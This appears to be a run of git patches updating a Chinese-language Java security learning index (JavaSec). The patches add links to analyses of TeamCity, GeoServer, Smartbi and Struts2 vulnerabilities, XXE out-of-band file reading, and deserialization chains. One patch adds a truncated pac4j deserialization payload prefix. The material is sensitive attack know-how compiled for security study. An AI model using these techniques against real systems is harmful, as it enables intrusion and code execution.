知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) -Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中 +Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢 From 8c852d3d3ec48f0c9ed1780e642ae06aaaea9efe Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 23 May 2024 15:50:49 +0800 Subject: [PATCH 099/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 02116fe..d4a9c57 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@

2021年10月18日,梦的开始


-知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) +知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢 From f3b15d59e30df63d49e821ec43a6a08d4497a179 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 23 May 2024 15:51:09 +0800 Subject: [PATCH 100/113] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index d4a9c57..9a6cb9d 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,8 @@

2021年10月18日,梦的开始


-知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) +知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) + Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢 From f098935f640e4a17e990251a36b24de246ce8009 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 28 May 2024 09:46:47 +0800 Subject: [PATCH 101/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新JetBrains TeamCity权限绕过(CVE-2024-23917)(这篇文章还讲解了一些容器与SpringBoot的流程知识) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 9a6cb9d..144eaba 100644 --- a/README.md +++ b/README.md @@ -394,6 +394,7 @@ Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分 - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) + - [JetBrains TeamCity权限绕过(CVE-2024-23917)(这篇文章还讲解了一些容器与SpringBoot的流程知识)](https://blog.0daylabs.com/2024/05/27/jetbrains-teamcity-auth-bypass/) - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) - [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/) - [Atlassian Confluence-Remote Code Execution(CVE-2023-22527)](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/) From 84effdd5d719474892ef06843e5f4a55d0f162ed Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 5 Jun 2024 09:41:53 +0800 Subject: [PATCH 102/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新反序列化toString链 --- README.md | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 144eaba..137c87d 100644 --- a/README.md +++ b/README.md @@ -14,14 +14,6 @@

2021年10月18日,梦的开始

-
-知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) - -Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢 - - - - ## 1.基础篇 - [Java反射](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E5%8F%8D%E5%B0%84/%E5%8F%8D%E5%B0%84.md) @@ -483,6 +475,7 @@ Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分 - [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s/xxAtjFvk9RxWiY-pwGf8Ow) - [某Cloud系统漏洞分析](https://forum.butian.net/share/2529) - [任意文件下载漏洞的利用思考(总结非常细!)](https://mp.weixin.qq.com/s/3y62xuQJAj2gmtBSKvHHug) +- [jdk新入口挖掘(新的toString链)](https://xz.aliyun.com/t/14732) ## 比赛反思 @@ -534,6 +527,17 @@ Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分 - [回忆飘如雪](https://gv7.me/) +## 知识星球 + +
+知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) + +Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢 + + + + + ## 更多 From 831661aa8e4566e88e1ffb181b053c1762419eed Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 18 Jun 2024 22:50:10 +0800 Subject: [PATCH 103/113] Update README.md Update Smartbi --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 137c87d..9787a60 100644 --- a/README.md +++ b/README.md @@ -374,6 +374,8 @@ - [Analysis CVE-2023-29300: Adobe ColdFusion Pre-Auth RCE](https://blog.projectdiscovery.io/adobe-coldfusion-rce/) - Smartbi - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) + - [浅析Smartbi逻辑漏洞(2)](https://y4tacker.github.io/2023/08/23/year/2023/8/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-2/) + - [浅析Smartbi逻辑漏洞(3)](https://y4tacker.github.io/2024/04/19/year/2024/4/%E6%B5%85%E6%9E%90SmartBi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-3/) - CrushFTP - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) - [浅析CrushFTP之VFS逃逸](https://y4tacker.github.io/2024/04/23/year/2024/4/%E6%B5%85%E6%9E%90CrushFTP%E4%B9%8BVFS%E9%80%83%E9%80%B8/) From 4fbd70bc0d7913f89b1df5c8a017624c5abb0255 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 18 Jun 2024 22:55:40 +0800 Subject: [PATCH 104/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Update XML 相关漏洞风险研究 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 9787a60..930bf21 100644 --- a/README.md +++ b/README.md @@ -36,6 +36,7 @@ - [JSTL(看菜鸟教程即可)](https://www.runoob.com/jsp/jsp-jstl.html) - [JEP290基础概念](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md) - [Java中的XXE](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Java%E4%B8%AD%E7%9A%84XXE/index.md) + - [XML 相关漏洞风险研究(关于XML结构方面的介绍可以看看这篇文章,浅显易懂)](https://evilpan.com/2024/06/02/xml-vulnerabilities/) - [XML外部实体注入(XXE)攻击方式汇总(关于XXE可以延伸继续看看)](https://tttang.com/archive/1813/) - [绕过WAF保护的XXE(一些通用的流量混淆方式)](https://xz.aliyun.com/t/4059?accounttraceid=04ba92e87b2342b9a14daca5812cc52aoxob&time__1311=n4mx0DnDBiitiQo4GNulxU2nD9iBDc70ZAnYD) - [通过反射扫描被注解修饰的类](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E6%89%AB%E6%8F%8F%E8%A2%AB%E6%B3%A8%E8%A7%A3%E4%BF%AE%E9%A5%B0%E7%9A%84%E7%B1%BB/index.md) From 85587e55ca31b840cd167921b5a7c82c076b79f1 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 23 Jul 2024 17:21:21 +0800 Subject: [PATCH 105/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 930bf21..8bd311b 100644 --- a/README.md +++ b/README.md @@ -387,6 +387,7 @@ - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) + - [浅析GeoServer property 表达式注入代码执行(CVE-2024-36401)](https://y4tacker.github.io/2024/07/03/year/2024/7/%E6%B5%85%E6%9E%90GeoServer-property-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2024-36401/) - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) - [JetBrains TeamCity权限绕过(CVE-2024-23917)(这篇文章还讲解了一些容器与SpringBoot的流程知识)](https://blog.0daylabs.com/2024/05/27/jetbrains-teamcity-auth-bypass/) From a103573551ae31ca3534743c1c53251842571edf Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 26 Jul 2024 10:35:54 +0800 Subject: [PATCH 106/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新浅谈JFinal的DenyAccessJsp绕过 --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index 8bd311b..fbf763b 100644 --- a/README.md +++ b/README.md @@ -429,9 +429,8 @@ - [Tomcat URL解析差异性导致的安全问题(网上看到的主要关注HttpServletRequest中几个解析URL的函数这个问题)](https://xz.aliyun.com/t/7544) - [Tomcat中url解析特性](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%ADurl%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7/index.md) - [SpringBoot2.3.0以下路由%2e跨目录处理(可用于权限绕过)](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot2.3.0%E4%BB%A5%E4%B8%8B%E8%B7%AF%E7%94%B1%252e%E8%B7%A8%E7%9B%AE%E5%BD%95%E5%A4%84%E7%90%86(%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87)/index.md) - - [网上看到的Jetty的部分解析特性(支持%uxxx)](https://www.wangan.com/p/7fyg8k2c7781675a) - +- [浅谈JFinal的DenyAccessJsp绕过](https://forum.butian.net/share/1899) ## 19.ASM与JVM学习 From 8995ac4bb87bcc9a89311d926d68e50628e78650 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 26 Jul 2024 10:36:40 +0800 Subject: [PATCH 107/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fbf763b..d2408e9 100644 --- a/README.md +++ b/README.md @@ -535,7 +535,7 @@
知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) -Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢 +Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢(当然大0day不会发) From cf52fcfeea524938b9c6ec1568407342a7af58a6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 4 Sep 2024 10:30:46 +0800 Subject: [PATCH 108/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index d2408e9..7623b4f 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,7 @@ 如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人) +- [Java 反序列化取经路(强推)](https://su18.org/post/ysuserial/) - [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md) - [CommonsCollections1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections1/CommonsCollections1.md) - [CommonsCollections2笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections2/CommonsCollections2.md) From 8140d9ea62bdb4efb6553bab75ff7a9527166dfe Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 11 Oct 2024 15:51:04 +0800 Subject: [PATCH 109/113] =?UTF-8?q?Update=20Java=E8=A7=A6=E5=8F=91?= =?UTF-8?q?=E4=BA=8C=E6=AC=A1=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E7=9A=84?= =?UTF-8?q?=E7=82=B9.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新二次反序列化利用点 --- ...2\217\345\210\227\345\214\226\347\232\204\347\202\271.md" | 5 +++++ 1 file changed, 5 insertions(+) diff --git "a/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" "b/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" index 9767f82..97fb857 100644 --- "a/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" +++ "b/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" @@ -313,3 +313,8 @@ public class DemoTest { ``` 具体分析见https://y4tacker.github.io/2022/02/06/year/2022/2/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget%E7%9A%84%E5%AD%A6%E4%B9%A0/#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8 + + +## org.pac4j.core.profile.InternalAttributeHandler#restore +使用{#sb64}rO0ABXN...serizalized_object_in_base64...,隐藏TemplatesImpl,可惜不是通用的 +参考链接:https://securitylab.github.com/advisories/GHSL-2022-085_pac4j/ From 99bb136c0f4e758126778538588819ed199e8b1b Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 11 Oct 2024 15:57:31 +0800 Subject: [PATCH 110/113] =?UTF-8?q?Update=20Java=E8=A7=A6=E5=8F=91?= =?UTF-8?q?=E4=BA=8C=E6=AC=A1=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E7=9A=84?= =?UTF-8?q?=E7=82=B9.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" "b/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" index 97fb857..3ac9afe 100644 --- "a/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" +++ "b/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" @@ -317,4 +317,5 @@ public class DemoTest { ## org.pac4j.core.profile.InternalAttributeHandler#restore 使用{#sb64}rO0ABXN...serizalized_object_in_base64...,隐藏TemplatesImpl,可惜不是通用的 +另外很可惜的是高版本还做了删除,具体可以看公告:https://github.com/pac4j/pac4j/blob/1c198f3fbadc4e8c94bc953327e4e2a38c888525/documentation/blog/what_s_new_in_pac4j_v4_1.md?plain=1#L16 参考链接:https://securitylab.github.com/advisories/GHSL-2022-085_pac4j/ From b082f562c7655af991bf7cb78f87b743a5552ec6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 16 Dec 2024 23:10:40 +0800 Subject: [PATCH 111/113] Update README.md Update CVE-2024-53677(S2-067) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7623b4f..a71ee0c 100644 --- a/README.md +++ b/README.md @@ -225,7 +225,7 @@ - [S2-045学习(通过container获取全局共享的OgnlUtil实例来清除SecurityMemberAccess当中属性的限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-045%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-057学习(突破#context被删除限制,从attr作用域获取context对象)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-057%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-066学习(变量覆盖的有趣的例子)](https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/) - +- [S2-067学习](https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/) ## 8.关于Tomcat的一些小研究 From f8b923bacf07d188d99ae7d94943fdab3f1d9c47 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 5 Jan 2025 18:42:49 +0800 Subject: [PATCH 112/113] Update README.md --- README.md | 8 -------- 1 file changed, 8 deletions(-) diff --git a/README.md b/README.md index a71ee0c..87f4e22 100644 --- a/README.md +++ b/README.md @@ -531,14 +531,6 @@ - [回忆飘如雪](https://gv7.me/) -## 知识星球 - -
-知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) - -Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中,谁让我喜欢为爱发电呢(当然大0day不会发) - - From a6e0f8cc3a63622b768c3b46297c66dc8a0a85f0 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 10 Nov 2025 19:47:01 +0800 Subject: [PATCH 113/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add No-FTP:高版本JDK如何通过XXE-OOB读取多行文件(WIndows) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 87f4e22..7b814d6 100644 --- a/README.md +++ b/README.md @@ -38,6 +38,7 @@ - [Java中的XXE](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Java%E4%B8%AD%E7%9A%84XXE/index.md) - [XML 相关漏洞风险研究(关于XML结构方面的介绍可以看看这篇文章,浅显易懂)](https://evilpan.com/2024/06/02/xml-vulnerabilities/) - [XML外部实体注入(XXE)攻击方式汇总(关于XXE可以延伸继续看看)](https://tttang.com/archive/1813/) + - [No-FTP:高版本JDK如何通过XXE-OOB读取多行文件(Windows)](https://y4tacker.github.io/2025/11/10/year/2025/11/No-FTP-%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87XXE-OOB%E8%AF%BB%E5%8F%96%E5%A4%9A%E8%A1%8C%E6%96%87%E4%BB%B6/) - [绕过WAF保护的XXE(一些通用的流量混淆方式)](https://xz.aliyun.com/t/4059?accounttraceid=04ba92e87b2342b9a14daca5812cc52aoxob&time__1311=n4mx0DnDBiitiQo4GNulxU2nD9iBDc70ZAnYD) - [通过反射扫描被注解修饰的类](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E6%89%AB%E6%8F%8F%E8%A2%AB%E6%B3%A8%E8%A7%A3%E4%BF%AE%E9%A5%B0%E7%9A%84%E7%B1%BB/index.md) - [低版本下Java文件系统00截断](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E4%BD%8E%E7%89%88%E6%9C%AC%E4%B8%8BJava%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F00%E6%88%AA%E6%96%AD/index.md)